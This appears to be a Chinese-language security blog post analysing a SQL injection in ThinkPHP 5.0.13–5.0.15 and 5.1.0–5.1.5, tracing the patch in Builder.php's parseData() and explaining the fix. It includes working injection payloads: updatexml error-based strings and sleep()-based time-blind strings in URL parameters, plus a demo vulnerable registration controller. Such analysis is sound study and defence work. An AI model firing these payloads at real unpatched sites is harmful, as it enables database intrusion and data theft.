2018年3月26日tp进行了一次安全更新。
本次更新大佬们立马找到了漏洞点并给出了paylaod:
1
| public/index.php/index/index/?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
|
本篇文章主要分析漏洞存在点的定位,payload的构造。分析一下大佬们是怎么处理开源cms安全更新,并构造exp的。
涉及版本:5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。
1.Tp5.0.16的安全更新:
1 2
| case 'inc': $result[$item] = $item . '+' . floatval($val[2]);
|
1 2 3 4
| case 'inc': if ($key == $val[1]) { $result[$item] = $item . '+' . floatval($val[2]); }
|
本次更新对library/think/db/Builder.php中获取到的参数增加了判断:判断输入值必须和数据库字段值相等才能进行下一步的代码拼接。
从这个点可以判断本次安全更新极大可能与sql注入有关。
Inc,dec,exp函数解析:
可以参考官方文档:
这三个方法主要用在sql链式操作。
用法示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Db::table('think_user')->where('id', 1)->setInc('score');
Db::table('think_user')->where('id', 1)->setDec('score');
where('id','exp',' IN (1,3,8) ');
Db::table('data') ->where('id',1) ->inc('read') ->dec('score',3) ->exp('name','UPPER(name)') ->update();
|
2.产生sql注入的原因
用到parseData()函数的地方
根据官方的更新判断出本次更新和sql注入有关,涉及的函数为parseData()
全局搜索用到该函数的地方:
builder类的insert()用到了parseData()
其中builder类的insert方法用到了该函数,并将该函数解析的数据拼接到了$sql
参数中,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public function insert(array $data, $options = [], $replace = false) { $data = $this->parseData($data, $options); if (empty($data)) { return 0; }
$fields = array_keys($data);
$values = array_values($data);
$sql = str_replace( ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'], [ $replace ? 'REPLACE' : 'INSERT', $this->parseTable($options['table'], $options),
implode(' , ', $fields), implode(' , ', $values), $this->parseComment($options['comment']), ], $this->insertSql);
return $sql; }
|
所以现在大概可以确定insert方法存在sql注入,会将输入的参数直接拼接返回sql语句。
tp框架内置insert函数分析:
tp内使用insert()添加数据时,使用的insert()函数调用了builder类的insert()函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null) { $options = $this->parseExpress(); $data = array_merge($options['data'], $data); $sql = $this->builder->insert($data, $options, $replace); $bind = $this->getBind(); if ($options['fetch_sql']) { return $this->connection->getRealSql($sql, $bind); }
$result = 0 === $sql ? 0 : $this->execute($sql, $bind); if ($result) { $sequence = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null); $lastInsId = $this->getLastInsID($sequence); if ($lastInsId) { $pk = $this->getPk($options); if (is_string($pk)) { $data[$pk] = $lastInsId; } } $options['data'] = $data; $this->trigger('after_insert', $options);
if ($getLastInsID) { return $lastInsId; } } return $result; }
|
tp的insert方法会将得到数组数据放入builder类的insert方法生成sql语句。
builder类的insert()方法则调用了parseDate()函数:
所以确定输入点为tp框架的insert方法。
后面测试update()方法也能触发该漏洞,username[0]=inc和dec都可以。
所以流程为:
1 2 3 4
| tp框架insert()-->builder类insert()-->builder类parseDate()
parseDate函数处理数组[0]=dec或inc时:会将数组[1]和数组[2]拼接 拼接返回的sql语句最终在tp框架insert方法中执行
|
3.构造paylaod:
parseDate()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| protected function parseData($data, $options) {
if (empty($data)) { return []; }
$bind = $this->query->getFieldsBind($options['table']); if ('*' == $options['field']) { $fields = array_keys($bind); } else { $fields = $options['field']; }
$result = [];
foreach ($data as $key => $val) { $item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) { $val = $val->__toString(); }
if (false === strpos($key, '.') && !in_array($key, $fields, true)) { if ($options['strict']) { throw new Exception('fields not exists:[' . $key . ']'); } } elseif (is_null($val)) { $result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) { switch ($val[0]) { case 'exp': $result[$item] = $val[1]; break; case 'inc': $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]); break; case 'dec': $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]); break; } } elseif (is_scalar($val)) { if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) { $result[$item] = $val; } else { $key = str_replace('.', '_', $key); $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR); $result[$item] = ':data__' . $key; } } } return $result; }
|
根据parseData方法得到payload必须满足的条件:
1 2
| 输入值为数组, payload格式为:arr[0]=inc&arr[1]=exp&arr[2]=数字
|
因为是insert注入,所以采用报错注入的方式,构造payload为:
1
| arr[0]=inc&arr[1]=updatexml(0x7e,user(),0x7e)&arr[2]=1
|
此时需要找一个payload输入点,insert注册功能处就有。
简单写一个注册demo:
tp5.0.1/application/index/controller/Register.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php namespace app\index\controller; use app\index\model\Users; use think\View; use think\Controller;
class Register extends Controller{ public function index(){ $view = new View(); return $view->fetch('index'); } public function register(){ $user = new Users();
$user->username = input('post.username'); $user->sex = input('post.sex'); $user->password = input('post.password');
$result=array(
"username"=>$user->username, "sex"=>$user->sex, "password"=>$user->password );
db('users')->insert($result); return 'Update success';
}
}
|
tp5.0.1/application/index/view/register/index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>注册</title> </head> <body> <div id="regist_form"> <dl> <form action="/tp5.0.1/public/index.php/index/register/register" method="post"> <h1>注册页面</h1>
<p>用户名:<input type="text" name="username"></p> <p>性别:<input type="text" name="sex"></p> <p>密码:<input type="text" name="password"></p>
<input type="submit" name="submit" value="Submit">
</form> </dl> </div> </body> </html>
|
发现在接受数据处必须要这样写:
1
| $user->username = input('post.username/a');
|
才能触发注入…..可是大多数时候程序员都不会这样写吧,直接接收一个数组….
/a修饰符官方解释:
添加/a尝试提交数据注入尝试:
直接对注册接口提交payload
感觉这个漏洞比较鸡肋必须要满足用户接收一个数组输入时才能触发,一般的功能点也不会这样写,但是也不一定吧,遇到的时候可以多尝试。
在debug没开启时可以通过时间盲注的形式获取数据,paylaod:
1 2 3
| ?username[0]=inc&username[1]=sleep(5)&username[2]=1
http://127.0.0.1:8888/tp5.0.1/public/index.php/index/index/?username[0]=inc&username[1]=If(ascii(substr(database(),1,1))=115,1,sleep(3))&username[2]=1
|
4.官方修复原理
输入的val[1]必须和字段值相等才会进行拼接,字段值不可能为paylaod:updatexml(0x7e,user(),0x7e);等注入语句,也就修复了注入问题。